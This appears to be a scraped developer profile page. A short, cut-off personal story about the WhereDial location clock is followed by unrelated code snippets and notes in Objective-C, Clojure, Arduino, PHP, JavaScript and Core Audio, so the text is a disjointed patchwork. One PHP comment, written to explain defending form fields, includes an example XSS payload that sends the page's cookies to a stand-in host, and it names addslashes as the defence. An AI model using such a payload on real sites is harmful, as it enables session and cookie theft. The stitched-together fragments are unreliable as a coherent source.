John McKerrell johnmckerrell

I looked at the time and realised the afternoon had flown by, my other half would be home soon. I was just about to get up and put the kettle on when I spotted she was still in work. How did I know? It was obvious from my WhereDial. I started to worry that we'd be eating late but the dial started moving and came to rest on "Travelling". Not such a late one after all. I'd learnt the pattern a long while ago. It would tick round to "Station", back to "Travelling" and then once it hit "Station" again it was time to put the kettle on as she'd be through the door shortly after.

This might sound like an odd story if you've never come across the WhereDial but a story similar to this has been playing out regularly in my house since I came up with the idea for the WhereDial. The original concept came about when I was working to promote my MapMe.At site and attended an Arduino hack day - Howduino - in Liverpool. I couldn't think of anything to make and someone suggested I make a location clock "like in the Harry Potte

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	@"vals" : @{
	@"flip" : @"1",
	@"mirror" : @"0"
	}
	};

	NSString *flipCommand = @"command.cgi?flip={self.vals.flip}&mirror={self.vals.mirror}"

	[flipCommand stringByMagicallyApplyingKeyPathsToADictionary:params];

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	(:gen-class)
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	"Is the char in the words?"
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	Translations for Comedy GPS iPhone app

	The iPhone app acts as a GPS but rather than giving turn-by-turn directions it simply tells you if you're getting hotter or colder. Background of the app changes from blue to red as you get closer and the latest version has added a smiley fact that goes from unhappy to happy as you get closer.

	"Smile?" - This is shown on a settings screen and turns on and off the smiley face.
	"Comedy GPS" - This is the name of the app, "Funny GPS" may also work, there's only enough space for around 13 characters.
	"Added smiley face indicator! French & German Support." - Description of what's new in this version.

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	} catch (e) {
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	}
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	#include <Stepper.h>

	const int stepsPerRevolution = 2048; // change this to fit the number of steps per revolution
	// for your motor

	// initialize the stepper library on pins 8 through 11:
	Stepper myStepper(stepsPerRevolution, 7,5,6,4);

	void setup() {
	// set the speed at 60 rpm:


	/**
	* Defend from malicious input by using addslashes
	* A malicious user could craft a form that injected JavaScript into these hidden form fields, e.g.:
	* <input type="hidden" name="naughty" value=""><script>var img = new Image(); img.src='http://naughtysite.com/submitcookies.php?cookies='+document.cookies;</script>">
	*/

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	echo '<input type="hidden" name="' . htmlentities($key) . '" value="' . htmlentities($val) . '" />';

	Create server for iPhone connection
	Assertion failed: (e > 0), function SslContext_t, file ssl.cpp, line 162.
	/Users/john/.rvm/bin/rvmsudo: line 46: 58439 Abort trap

	var blah = 'foo';
	var myObject = {blah: 'I am myObject.foo'};

	var sayFoo = function() {
	console.log(this['blah']);
	};

	// give myObject a sayFoo property and have it point to sayFoo function
	myObject.sayFoo = sayFoo;
	myObject.sayFoo(); // logs 'I am myObject.foo' 12

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	asbd.mFormatID = kAudioFormatAppleIMA4;
	asbd.mFormatFlags = 0;
	asbd.mBytesPerPacket = 0;
	asbd.mFramesPerPacket = 0;
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	asbd.mChannelsPerFrame = 1;